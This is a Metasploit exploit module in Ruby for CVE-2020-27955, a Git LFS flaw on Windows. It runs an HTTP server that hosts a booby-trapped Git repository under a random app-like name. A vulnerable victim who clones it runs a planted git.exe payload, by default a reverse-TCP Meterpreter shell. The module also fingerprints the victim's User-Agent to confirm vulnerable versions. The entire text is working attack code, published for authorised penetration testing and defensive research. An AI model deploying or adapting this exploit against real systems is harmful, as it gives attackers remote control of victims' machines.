## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Git include Msf::Exploit::Git::Lfs include Msf::Exploit::Git::SmartHttp include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper include Msf::Exploit::EXE def initialize(info = {}) super( update_info( info, 'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)', 'Description' => %q{ A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker’s malicious repository using a vulnerable Git version control tool }, 'Author' => [ 'Dawid Golunski ', # Discovery 'space-r7', # Guidance, git mixins 'jheysel-r7' # Metasploit module ], 'References' => [ ['CVE', '2020-27955'], ['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/'] ], 'DisclosureDate' => '2020-11-04', # Public disclosure 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ [ 'Git LFS <= 2.12', { 'Platform' => ['win'] } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', 'WfsDelay' => 10 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ ARTIFACTS_ON_DISK ] } ) ) register_options([ OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ]) ]) deregister_options('RHOSTS') end def setup_repo_structure payload_fname = 'git.exe' @hook_payload = generate_payload_exe ptr_file = generate_pointer_file(@hook_payload) git_payload_ptr = GitObject.build_blob_object(ptr_file) git_attr_fname = '.gitattributes' git_attr_content = "#{payload_fname} filter=lfs diff=lfs merge=lfs" git_attr_obj = GitObject.build_blob_object(git_attr_content) register_dir_for_cleanup('.git') register_files_for_cleanup(git_attr_fname) # root of repository tree_ent = [ { mode: '100644', file_name: git_attr_fname, sha1: git_attr_obj.sha1 }, { mode: '100755', file_name: payload_fname, sha1: git_payload_ptr.sha1 } ] tree_obj = GitObject.build_tree_object(tree_ent) commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1) @git_objs = [ commit, tree_obj, git_attr_obj, git_payload_ptr ] @refs = { 'HEAD' => 'refs/heads/master', 'refs/heads/master' => commit.sha1 } end # # Determine whether or not the target is exploitable based on the User-Agent header returned from the client. # The git version must be equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0 to be # exploitable by this vulnerability. # # Returns +true+ if the target is suitable, else fail_with descriptive message # def target_suitable?(user_agent) info = fingerprint_user_agent(user_agent) if info[:ua_name] == Msf::HttpClients::UNKNOWN fail_with(Failure::NoTarget, "The client's User-Agent string was unidentifiable: #{info}. The client needs to clone the malicious repo on windows with a git version less than 2.29.0") end if info[:os_name] == 'Windows' && ((info[:ua_name] == Msf::HttpClients::GIT && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.29.2')) || (info[:ua_name] == Msf::HttpClients::GIT_LFS && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.12'))) true else fail_with(Failure::NotVulnerable, "The git client needs to be running on Windows with a version equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0. The user agent, #{info[:ua_name]}, found was running on, #{info[:os_name]} and was at version: #{info[:ua_ver]}") end end def on_request_uri(cli, req) target_suitable?(req.headers['User-Agent']) if req.uri.include?('git-upload-pack') request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req) case request.type when 'ref-discovery' response = send_refs(request) when 'upload-pack' response = send_requested_objs(request) else fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request') end else response = handle_lfs_objects(req, @hook_payload, @git_addr) unless response.code == 200 cli.send_response(response) fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request') end end cli.send_response(response) end def create_git_uri "/#{Faker::App.name.downcase}.git".gsub(' ', '-') end def primer @git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI'] @git_addr = URI.parse(get_uri).merge(@git_repo_uri) print_status("Git repository to clone: #{@git_addr}") hardcoded_uripath(@git_repo_uri) hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}") end def handle_lfs_objects(req, hook_payload, git_addr) git_hook_obj = GitObject.build_blob_object(hook_payload) case req.method when 'POST' print_status('Sending payload data...') response = get_batch_response(req, git_addr, git_hook_obj) fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response when 'GET' print_status('Sending LFS object...') response = get_requested_obj_response(req, git_hook_obj) fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response else fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request') end response end def send_refs(req) fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack' response = get_ref_discovery_response(req, @refs) fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response response end def send_requested_objs(req) upload_pack_resp = get_upload_pack_response(req, @git_objs) unless upload_pack_resp fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response') end upload_pack_resp end def exploit setup_repo_structure super end end